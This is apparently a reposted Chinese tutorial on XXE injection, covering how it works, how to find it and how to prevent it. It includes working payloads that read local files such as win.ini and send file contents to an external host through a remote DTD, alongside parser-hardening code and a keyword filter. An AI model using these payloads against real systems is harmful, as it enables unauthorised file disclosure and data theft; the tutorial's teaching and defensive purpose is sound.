XML(XXE)外部实体注入

admin 2024年8月5日22:45:46评论17 views字数 1533阅读5分6秒阅读模式

1、XXE介绍

1.1、XXE原理

  • XXE(XML外部实体注入,XML External Entity) ,在应用程序解析XML输入时,当允许引用外部实体时,可构造恶意内容,导致读取任意文件、探测内网端口、攻击内网网站、发起DoS拒绝服务攻击、执行系统命令等。当运维人员使用了低版本php,libxml低于2.9.1或者程序员设置了libxml_disable_entity_loader(FALSE)就可以加载外部实体。

1.2、XXE定义

  • XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

2、如何找xxe漏洞

2.1、白盒测试

查看代码里面是否使用了LoadXML( )函数

2.2、黑盒测试

  • 抓包看响应体是否存在xml,accept头是否接受xml

https://www.cnblogs.com/mysticbinary/p/12668547.html

  • 看到url文件名是否 .ashx后缀扩展名
  • 抓包修改数据类型,把json改成xml来传输数据

3、XXE攻击

  • 有回显

<?xml version = "1.0"?> <!DOCTYPE note [ <!ENTITY hacker SYSTEM "file:///c:/windows/win.ini" > ]> <name>&hacker;</name> //定义DTD文件,格式为:root指定根节点名称,system声明要使用的外部DTD文件路径,如:<!ENTITY 实体名称 SYSTEM "URI/URL">

  • 无回显

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/1.txt"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://10.0.0.14:100/?p=%file;'>"> //内部的%号要进行实体编码成%

    • xml调用

<!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://10.0.0.20:200/test.dtd"> %remote;%int;%send; ]>

4、防范方法

  • (1)、升级php版本
  • (2)、程序员修改代码

PHP:libxml_disable_entity_loader(true); JAVA: DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false); setFeature("http://apache.org/xml/features/disallow-doctype-decl",true); setFeature("http://xml.org/sax/features/external-general-entities",false) setFeature("http://xml.org/sax/features/external-parameter-entities",false); Python:from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

  • (3)、过滤关键词

<!DOCTYPE、<!ENTITY SYSTEM、PUBLIC

原文始发于微信公众号(Attacker安全):护网面试超级“干货”--XML(XXE)外部实体注入

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年8月5日22:45:46
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   XML(XXE)外部实体注入https://cn-sec.com/archives/2765097.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息